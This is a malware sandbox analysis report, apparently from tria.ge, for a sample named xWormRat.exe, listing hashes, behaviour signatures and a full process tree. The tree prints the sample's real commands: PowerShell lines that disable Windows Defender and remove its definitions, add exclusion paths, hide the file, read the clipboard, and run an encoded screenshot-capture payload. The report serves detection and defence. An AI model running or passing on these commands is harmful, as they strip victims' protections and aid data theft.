Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
95s -
max time network
139s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
26/11/2024, 20:28
Behavioral task
behavioral1
Sample
xWormRat.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
xWormRat.exe
Resource
win10v2004-20241007-en
General
-
Target
xWormRat.exe
-
Size
6.0MB
-
MD5
88b0a00ccd2d09da53d7299e6abac771
-
SHA1
4694a9f9e640f168ea4a1561643ad887ef5e0451
-
SHA256
f8329f69cb6ce2449bd631e36f901644d6eef124a14853b1e181c47c10d27efd
-
SHA512
34051f119c197ab142c613525a07f9e4914f3960416d9433644e70f3355a47639d6f24adf1ce11bc2709fb41ee081290510341121c8f916883f39df10d11b64f
-
SSDEEP
196608:lR9FIm/meN/FJMIDJf0gsAGK4RenAK6Z0/:3s4/Fqyf0gstmAKZ
Malware Config
Signatures
-
pid Process 4884 powershell.exe 1400 powershell.exe 1568 powershell.exe 116 powershell.exe 4324 powershell.exe -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts xWormRat.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe -
Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
pid Process 848 cmd.exe 4380 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 1688 rar.exe -
Loads dropped DLL 17 IoCs
pid Process 2968 xWormRat.exe 2968 xWormRat.exe 2968 xWormRat.exe 2968 xWormRat.exe 2968 xWormRat.exe 2968 xWormRat.exe 2968 xWormRat.exe 2968 xWormRat.exe 2968 xWormRat.exe 2968 xWormRat.exe 2968 xWormRat.exe 2968 xWormRat.exe 2968 xWormRat.exe 2968 xWormRat.exe 2968 xWormRat.exe 2968 xWormRat.exe 2968 xWormRat.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 15 ip-api.com 21 ip-api.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Enumerates processes with tasklist 1 TTPs 5 IoCs
pid Process 4824 tasklist.exe 3212 tasklist.exe 3056 tasklist.exe 1520 tasklist.exe 760 tasklist.exe -
Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
pid Process 1368 cmd.exe -
resource yara_rule behavioral2/files/0x0009000000023bcf-21.dat upx behavioral2/memory/2968-25-0x00007FFAB07E0000-0x00007FFAB0C4E000-memory.dmp upx behavioral2/files/0x000a000000023ba8-27.dat upx behavioral2/memory/2968-30-0x00007FFAC4160000-0x00007FFAC4184000-memory.dmp upx behavioral2/files/0x0009000000023bcd-29.dat upx behavioral2/files/0x0008000000023bc8-34.dat upx behavioral2/files/0x000b000000023bb0-48.dat upx behavioral2/files/0x000b000000023baf-47.dat upx behavioral2/files/0x000b000000023bae-46.dat upx behavioral2/files/0x000a000000023bad-45.dat upx behavioral2/files/0x000a000000023bab-44.dat upx behavioral2/files/0x000a000000023baa-43.dat upx behavioral2/files/0x000a000000023ba9-42.dat upx behavioral2/files/0x000a000000023ba7-41.dat upx behavioral2/files/0x0008000000023bda-40.dat upx behavioral2/files/0x0008000000023bd9-39.dat upx behavioral2/files/0x0008000000023bd8-38.dat upx behavioral2/files/0x0009000000023bce-35.dat upx behavioral2/memory/2968-32-0x00007FFAC9170000-0x00007FFAC917F000-memory.dmp upx behavioral2/memory/2968-54-0x00007FFABF480000-0x00007FFABF4AD000-memory.dmp upx behavioral2/memory/2968-56-0x00007FFABF460000-0x00007FFABF479000-memory.dmp upx behavioral2/memory/2968-58-0x00007FFABF440000-0x00007FFABF45F000-memory.dmp upx behavioral2/memory/2968-60-0x00007FFAB0470000-0x00007FFAB05E1000-memory.dmp upx behavioral2/memory/2968-66-0x00007FFABF3F0000-0x00007FFABF41E000-memory.dmp upx behavioral2/memory/2968-64-0x00007FFAC02C0000-0x00007FFAC02CD000-memory.dmp upx behavioral2/memory/2968-63-0x00007FFABF420000-0x00007FFABF439000-memory.dmp upx behavioral2/memory/2968-74-0x00007FFAC4160000-0x00007FFAC4184000-memory.dmp upx behavioral2/memory/2968-73-0x00007FFAAF8B0000-0x00007FFAAFC25000-memory.dmp upx behavioral2/memory/2968-71-0x00007FFAAFD00000-0x00007FFAAFDB8000-memory.dmp upx behavioral2/memory/2968-70-0x00007FFAB07E0000-0x00007FFAB0C4E000-memory.dmp upx behavioral2/memory/2968-76-0x00007FFAC51D0000-0x00007FFAC51E4000-memory.dmp upx behavioral2/memory/2968-79-0x00007FFABF670000-0x00007FFABF67D000-memory.dmp upx behavioral2/memory/2968-78-0x00007FFABF480000-0x00007FFABF4AD000-memory.dmp upx behavioral2/memory/2968-82-0x00007FFAB06C0000-0x00007FFAB07D8000-memory.dmp upx behavioral2/memory/2968-81-0x00007FFABF460000-0x00007FFABF479000-memory.dmp upx behavioral2/memory/2968-107-0x00007FFABF440000-0x00007FFABF45F000-memory.dmp upx behavioral2/memory/2968-120-0x00007FFAB0470000-0x00007FFAB05E1000-memory.dmp upx behavioral2/memory/2968-185-0x00007FFABF420000-0x00007FFABF439000-memory.dmp upx behavioral2/memory/2968-262-0x00007FFABF3F0000-0x00007FFABF41E000-memory.dmp upx behavioral2/memory/2968-274-0x00007FFAAFD00000-0x00007FFAAFDB8000-memory.dmp upx behavioral2/memory/2968-281-0x00007FFAAF8B0000-0x00007FFAAFC25000-memory.dmp upx behavioral2/memory/2968-302-0x00007FFAB07E0000-0x00007FFAB0C4E000-memory.dmp upx behavioral2/memory/2968-316-0x00007FFAB06C0000-0x00007FFAB07D8000-memory.dmp upx behavioral2/memory/2968-308-0x00007FFAB0470000-0x00007FFAB05E1000-memory.dmp upx behavioral2/memory/2968-307-0x00007FFABF440000-0x00007FFABF45F000-memory.dmp upx behavioral2/memory/2968-303-0x00007FFAC4160000-0x00007FFAC4184000-memory.dmp upx behavioral2/memory/2968-330-0x00007FFABF670000-0x00007FFABF67D000-memory.dmp upx behavioral2/memory/2968-338-0x00007FFAB0470000-0x00007FFAB05E1000-memory.dmp upx behavioral2/memory/2968-342-0x00007FFAAFD00000-0x00007FFAAFDB8000-memory.dmp upx behavioral2/memory/2968-341-0x00007FFABF3F0000-0x00007FFABF41E000-memory.dmp upx behavioral2/memory/2968-340-0x00007FFAC02C0000-0x00007FFAC02CD000-memory.dmp upx behavioral2/memory/2968-339-0x00007FFABF420000-0x00007FFABF439000-memory.dmp upx behavioral2/memory/2968-337-0x00007FFABF440000-0x00007FFABF45F000-memory.dmp upx behavioral2/memory/2968-336-0x00007FFABF460000-0x00007FFABF479000-memory.dmp upx behavioral2/memory/2968-335-0x00007FFABF480000-0x00007FFABF4AD000-memory.dmp upx behavioral2/memory/2968-334-0x00007FFAC9170000-0x00007FFAC917F000-memory.dmp upx behavioral2/memory/2968-333-0x00007FFAC4160000-0x00007FFAC4184000-memory.dmp upx behavioral2/memory/2968-332-0x00007FFAAF8B0000-0x00007FFAAFC25000-memory.dmp upx behavioral2/memory/2968-331-0x00007FFAB06C0000-0x00007FFAB07D8000-memory.dmp upx behavioral2/memory/2968-317-0x00007FFAB07E0000-0x00007FFAB0C4E000-memory.dmp upx behavioral2/memory/2968-329-0x00007FFAC51D0000-0x00007FFAC51E4000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 1800 cmd.exe 3164 PING.EXE -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 3272 cmd.exe 5068 netsh.exe -
Detects videocard installed 1 TTPs 3 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4504 WMIC.exe 1700 WMIC.exe 4992 WMIC.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2328 systeminfo.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 3164 PING.EXE -
Suspicious behavior: EnumeratesProcesses 20 IoCs
pid Process 4884 powershell.exe 116 powershell.exe 4884 powershell.exe 116 powershell.exe 4324 powershell.exe 4324 powershell.exe 4380 powershell.exe 4380 powershell.exe 3408 powershell.exe 3408 powershell.exe 4380 powershell.exe 3408 powershell.exe 1400 powershell.exe 1400 powershell.exe 1664 powershell.exe 1664 powershell.exe 1568 powershell.exe 1568 powershell.exe 4756 powershell.exe 4756 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1776 WMIC.exe Token: SeSecurityPrivilege 1776 WMIC.exe Token: SeTakeOwnershipPrivilege 1776 WMIC.exe Token: SeLoadDriverPrivilege 1776 WMIC.exe Token: SeSystemProfilePrivilege 1776 WMIC.exe Token: SeSystemtimePrivilege 1776 WMIC.exe Token: SeProfSingleProcessPrivilege 1776 WMIC.exe Token: SeIncBasePriorityPrivilege 1776 WMIC.exe Token: SeCreatePagefilePrivilege 1776 WMIC.exe Token: SeBackupPrivilege 1776 WMIC.exe Token: SeRestorePrivilege 1776 WMIC.exe Token: SeShutdownPrivilege 1776 WMIC.exe Token: SeDebugPrivilege 1776 WMIC.exe Token: SeSystemEnvironmentPrivilege 1776 WMIC.exe Token: SeRemoteShutdownPrivilege 1776 WMIC.exe Token: SeUndockPrivilege 1776 WMIC.exe Token: SeManageVolumePrivilege 1776 WMIC.exe Token: 33 1776 WMIC.exe Token: 34 1776 WMIC.exe Token: 35 1776 WMIC.exe Token: 36 1776 WMIC.exe Token: SeDebugPrivilege 4824 tasklist.exe Token: SeDebugPrivilege 116 powershell.exe Token: SeDebugPrivilege 4884 powershell.exe Token: SeIncreaseQuotaPrivilege 1776 WMIC.exe Token: SeSecurityPrivilege 1776 WMIC.exe Token: SeTakeOwnershipPrivilege 1776 WMIC.exe Token: SeLoadDriverPrivilege 1776 WMIC.exe Token: SeSystemProfilePrivilege 1776 WMIC.exe Token: SeSystemtimePrivilege 1776 WMIC.exe Token: SeProfSingleProcessPrivilege 1776 WMIC.exe Token: SeIncBasePriorityPrivilege 1776 WMIC.exe Token: SeCreatePagefilePrivilege 1776 WMIC.exe Token: SeBackupPrivilege 1776 WMIC.exe Token: SeRestorePrivilege 1776 WMIC.exe Token: SeShutdownPrivilege 1776 WMIC.exe Token: SeDebugPrivilege 1776 WMIC.exe Token: SeSystemEnvironmentPrivilege 1776 WMIC.exe Token: SeRemoteShutdownPrivilege 1776 WMIC.exe Token: SeUndockPrivilege 1776 WMIC.exe Token: SeManageVolumePrivilege 1776 WMIC.exe Token: 33 1776 WMIC.exe Token: 34 1776 WMIC.exe Token: 35 1776 WMIC.exe Token: 36 1776 WMIC.exe Token: SeIncreaseQuotaPrivilege 4504 WMIC.exe Token: SeSecurityPrivilege 4504 WMIC.exe Token: SeTakeOwnershipPrivilege 4504 WMIC.exe Token: SeLoadDriverPrivilege 4504 WMIC.exe Token: SeSystemProfilePrivilege 4504 WMIC.exe Token: SeSystemtimePrivilege 4504 WMIC.exe Token: SeProfSingleProcessPrivilege 4504 WMIC.exe Token: SeIncBasePriorityPrivilege 4504 WMIC.exe Token: SeCreatePagefilePrivilege 4504 WMIC.exe Token: SeBackupPrivilege 4504 WMIC.exe Token: SeRestorePrivilege 4504 WMIC.exe Token: SeShutdownPrivilege 4504 WMIC.exe Token: SeDebugPrivilege 4504 WMIC.exe Token: SeSystemEnvironmentPrivilege 4504 WMIC.exe Token: SeRemoteShutdownPrivilege 4504 WMIC.exe Token: SeUndockPrivilege 4504 WMIC.exe Token: SeManageVolumePrivilege 4504 WMIC.exe Token: 33 4504 WMIC.exe Token: 34 4504 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3216 wrote to memory of 2968 3216 xWormRat.exe 83 PID 3216 wrote to memory of 2968 3216 xWormRat.exe 83 PID 2968 wrote to memory of 4028 2968 xWormRat.exe 84 PID 2968 wrote to memory of 4028 2968 xWormRat.exe 84 PID 2968 wrote to memory of 812 2968 xWormRat.exe 85 PID 2968 wrote to memory of 812 2968 xWormRat.exe 85 PID 2968 wrote to memory of 4908 2968 xWormRat.exe 88 PID 2968 wrote to memory of 4908 2968 xWormRat.exe 88 PID 2968 wrote to memory of 4124 2968 xWormRat.exe 90 PID 2968 wrote to memory of 4124 2968 xWormRat.exe 90 PID 812 wrote to memory of 4884 812 cmd.exe 92 PID 812 wrote to memory of 4884 812 cmd.exe 92 PID 4028 wrote to memory of 116 4028 cmd.exe 94 PID 4028 wrote to memory of 116 4028 cmd.exe 94 PID 4908 wrote to memory of 4824 4908 cmd.exe 95 PID 4908 wrote to memory of 4824 4908 cmd.exe 95 PID 4124 wrote to memory of 1776 4124 cmd.exe 93 PID 4124 wrote to memory of 1776 4124 cmd.exe 93 PID 2968 wrote to memory of 344 2968 xWormRat.exe 97 PID 2968 wrote to memory of 344 2968 xWormRat.exe 97 PID 344 wrote to memory of 3664 344 cmd.exe 145 PID 344 wrote to memory of 3664 344 cmd.exe 145 PID 2968 wrote to memory of 2532 2968 xWormRat.exe 100 PID 2968 wrote to memory of 2532 2968 xWormRat.exe 100 PID 2532 wrote to memory of 2944 2532 cmd.exe 102 PID 2532 wrote to memory of 2944 2532 cmd.exe 102 PID 2968 wrote to memory of 3648 2968 xWormRat.exe 103 PID 2968 wrote to memory of 3648 2968 xWormRat.exe 103 PID 3648 wrote to memory of 4504 3648 cmd.exe 105 PID 3648 wrote to memory of 4504 3648 cmd.exe 105 PID 2968 wrote to memory of 1688 2968 xWormRat.exe 108 PID 2968 wrote to memory of 1688 2968 xWormRat.exe 108 PID 1688 wrote to memory of 1700 1688 cmd.exe 110 PID 1688 wrote to memory of 1700 1688 cmd.exe 110 PID 2968 wrote to memory of 1368 2968 xWormRat.exe 111 PID 2968 wrote to memory of 1368 2968 xWormRat.exe 111 PID 2968 wrote to memory of 3456 2968 xWormRat.exe 112 PID 2968 wrote to memory of 3456 2968 xWormRat.exe 112 PID 3456 wrote to memory of 4324 3456 cmd.exe 115 PID 3456 wrote to memory of 4324 3456 cmd.exe 115 PID 1368 wrote to memory of 2132 1368 cmd.exe 172 PID 1368 wrote to memory of 2132 1368 cmd.exe 172 PID 2968 wrote to memory of 4428 2968 xWormRat.exe 117 PID 2968 wrote to memory of 4428 2968 xWormRat.exe 117 PID 2968 wrote to memory of 2620 2968 xWormRat.exe 118 PID 2968 wrote to memory of 2620 2968 xWormRat.exe 118 PID 2620 wrote to memory of 3212 2620 cmd.exe 121 PID 2620 wrote to memory of 3212 2620 cmd.exe 121 PID 4428 wrote to memory of 3056 4428 cmd.exe 122 PID 4428 wrote to memory of 3056 4428 cmd.exe 122 PID 2968 wrote to memory of 848 2968 xWormRat.exe 124 PID 2968 wrote to memory of 848 2968 xWormRat.exe 124 PID 2968 wrote to memory of 2340 2968 xWormRat.exe 123 PID 2968 wrote to memory of 2340 2968 xWormRat.exe 123 PID 2968 wrote to memory of 4052 2968 xWormRat.exe 125 PID 2968 wrote to memory of 4052 2968 xWormRat.exe 125 PID 2968 wrote to memory of 2232 2968 xWormRat.exe 127 PID 2968 wrote to memory of 2232 2968 xWormRat.exe 127 PID 2968 wrote to memory of 3272 2968 xWormRat.exe 131 PID 2968 wrote to memory of 3272 2968 xWormRat.exe 131 PID 2968 wrote to memory of 212 2968 xWormRat.exe 133 PID 2968 wrote to memory of 212 2968 xWormRat.exe 133 PID 2968 wrote to memory of 1596 2968 xWormRat.exe 134 PID 2968 wrote to memory of 1596 2968 xWormRat.exe 134 -
Views/modifies file attributes 1 TTPs 3 IoCs
pid Process 4472 attrib.exe 4724 attrib.exe 2132 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\xWormRat.exe"C:\Users\Admin\AppData\Local\Temp\xWormRat.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3216 -
C:\Users\Admin\AppData\Local\Temp\xWormRat.exe"C:\Users\Admin\AppData\Local\Temp\xWormRat.exe"2⤵
- Drops file in Drivers directory
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2968 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\xWormRat.exe'"3⤵
- Suspicious use of WriteProcessMemory
PID:4028 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\xWormRat.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:116
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Suspicious use of WriteProcessMemory
PID:812 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4884
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:4908 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:4824
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"3⤵
- Suspicious use of WriteProcessMemory
PID:4124 -
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1776
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"3⤵
- Suspicious use of WriteProcessMemory
PID:344 -
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 24⤵PID:3664
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"3⤵
- Suspicious use of WriteProcessMemory
PID:2532 -
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 24⤵PID:2944
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"3⤵
- Suspicious use of WriteProcessMemory
PID:3648 -
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name4⤵
- Detects videocard installed
- Suspicious use of AdjustPrivilegeToken
PID:4504
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"3⤵
- Suspicious use of WriteProcessMemory
PID:1688 -
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name4⤵
- Detects videocard installed
PID:1700
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\xWormRat.exe""3⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:1368 -
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Temp\xWormRat.exe"4⤵
- Views/modifies file attributes
PID:2132
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"3⤵
- Suspicious use of WriteProcessMemory
PID:3456 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4324
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:4428 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
PID:3056
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:2620 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
PID:3212
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"3⤵PID:2340
-
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName4⤵PID:3704
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"3⤵
- Clipboard Data
PID:848 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard4⤵
- Clipboard Data
- Suspicious behavior: EnumeratesProcesses
PID:4380
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵PID:4052
-
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
PID:1520
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵PID:2232
-
C:\Windows\system32\tree.comtree /A /F4⤵PID:1684
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"3⤵
- System Network Configuration Discovery: Wi-Fi Discovery
PID:3272 -
C:\Windows\system32\netsh.exenetsh wlan show profile4⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:5068
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"3⤵PID:212
-
C:\Windows\system32\systeminfo.exesysteminfo4⤵
- Gathers system information
PID:2328
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"3⤵PID:1596
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath4⤵PID:3664
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUA